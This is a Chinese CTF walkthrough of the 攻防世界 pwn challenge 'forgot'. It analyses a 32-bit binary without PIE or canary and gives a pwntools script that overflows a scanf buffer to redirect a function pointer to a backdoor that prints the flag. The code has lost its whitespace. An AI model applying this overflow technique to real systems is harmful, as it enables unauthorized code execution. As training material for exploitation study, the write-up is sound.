当前位置: 首页 > news >正文

攻防世界——pwn引导模式—forgot

文章目录

  • 一、Checksec 查看保护
  • 二、IDA反编译分析程序
    • 1.主函数
      • sub_8048654
      • Enter the string to be validate
      • sub_80486CC
    • 2.思路
      • 根据栈帧
      • exp
  • 总结

首先依旧是下载题目elf文件查看

一、Checksec 查看保护


发现题目并没有开启PIE(地址随机化)Canary保护,那么就给了我们栈溢出的机会,同时呢还是个32位程序,那应该不是很难,接下来继续用IDA分析

二、IDA反编译分析程序

1.主函数



根据伪代码可以得到程序执行流先是要求我们输入一个名字fgets(s, 32, stdin)这个fgets限制了输入长度,那么溢出就不出现在这
接着程序提示I should give you a pointer perhaps. Here: %x\n\n", sub_8048654那么这个地址可能对我们解题可能有帮助,让我们进入sub_8048654看看

sub_8048654


只是个输出的打印程序,似乎没什么用

Enter the string to be validate

接着程序叫我们输入一个字符串

并且是__isoc99_scanf(“%s”, v2)这种无限制的输入模式,那么基本可以确定溢出点在这

观察后续的switch语句不难发现,就是关于这个字符串的判定,不同的执行结果可以改变v5的值,并且最后根据指针数组v3[--v5]来执行不同的函数,我们对其中的函数逐个查看(函数过多不再一一展示),发现函数sub_80486CC是个后门函数,直接能把flag输出给我们

sub_80486CC

2.思路

那么好,结合以上所有内容我们就可以确定只要劫持程序执行流到后门函数sub_80486CC这题也就解决了,进入sub_80486CC函数的方法也很简单

根据栈帧


我们可以知道储存字符串的数组v2在储存指针数组v3的低地址,只要向上覆盖就可以修改v3数组中存的指针,自然也就使用程序执行到后门函数。因为我们并没有改变v5的值,那么switch语句执行完之后返回的v5=2,所以执行到最后程序到的是v3[1]的地址,我们只要把后门函数地址覆盖到v3[1]就成功解决这题

exp

frompwnimport*context(os='linux',arch='i386',log_level='debug')elf=ELF("./forgot")#p = process("./forgot")p=remote("61.147.171.105",'63712')p.recvuntil("> ")p.sendline("name")p.recvuntil("> ")backdoor_addr=0x80486CCpayload=b'a'*(32+4)+p32(backdoor_addr)p.sendline(payload)p.interactive()

总结

这道题难度总体不大,就是简单的输入无检测,覆盖数据劫持程序执行流。不过作者在做这道题的时候,一直纠结于程序给我们的那个地址的运用,所以耗费了挺多的时间,在此也提醒各位不要上题目的当,根据自己的思路走。

http://www.jsqmd.com/news/449821/

相关文章:

  • 互联网大厂Java求职者面试模拟文章:三轮深度问答及详尽解析
  • 代码重构美学大赛
  • 最大接入容量的光伏选址定容或者光伏电源在配网中选址定容 利用随机权重的粒子群算法
  • 2026年企业AI战略必看:GEO优化服务商选型指南与精准适配场景实测。 - 品牌推荐
  • 进程间通信
  • 毕设程序javaEHS安全环保管理系统 基于SpringBoot的企业环境健康安全(EHS)数字化管控平台 Java驱动的企业HSE安全生产与环境保护综合管理平台
  • 靠谱的太原洗浴设计公司
  • 柯伊伯计划API测试体系深度
  • 基于python去中心化知识图谱系统
  • 电磁仿真模型
  • 模拟传动系统工况
  • 有哪些靠谱申博辅导机构?2026最新挑选标准+优质推荐
  • 2026本地生意破局:为什么懂行的老板做GEO都找袁平安?
  • 改进粒子滤波的无人机三维航迹预测方法 - 分别对x、y、z三个方向的位置、速度、加速度进行预测...
  • 零食电商平台源码|SpringBoot后端+Vue前端|MySQL数据库|前后端分离架构|含部署视频与万字详解文档
  • 在工业现场遇到三相电压不平衡时,级联H桥结构的STATCOM就像个稳如老狗的电网医生。这货的三层控制策略玩得贼溜,今天咱们拆开看看它怎么在电网不平衡时秀操作
  • VS code 加 C++
  • 洛谷P14923、P11967、P10289、P10725、P13019、P13020、P10726、P10264、P14924题解
  • 收藏!小白程序员必看:2026中国“人工智能+”最新进展与行业趋势深度解读
  • Rinne Loves Edges【牛客tracker 每日一题】
  • 【架构实战】政企大模型落地的“安全红线”:深度拆解实在智能私有化部署与本地 Agent 护城河
  • 【光学】基于matlab微环谐振腔的高阶全光学微分方程求解器仿真(含报告)【含Matlab源码 15107期】
  • 收藏 | 小白/程序员必看:轻松理解AI Agent,开启大模型学习之旅!
  • AI时代下企业数智化转型的思考与实践之1-2数字世界的构建
  • 2026 年 3 月聚焦:智推时代 GEO 服务成企业增长首选伙伴
  • 常见字符串函数的使用和模拟使用
  • 2026 年 3 月大连 AI 优化公司推荐 TOP5:技术深度落地应用,环渤海企业增长选型指南
  • 洞鉴软件部署(Summary)
  • 模型压缩:剪枝
  • 网络安全行业300万人才缺口揭秘:零基础也能入行,资深工程师年薪高达150万!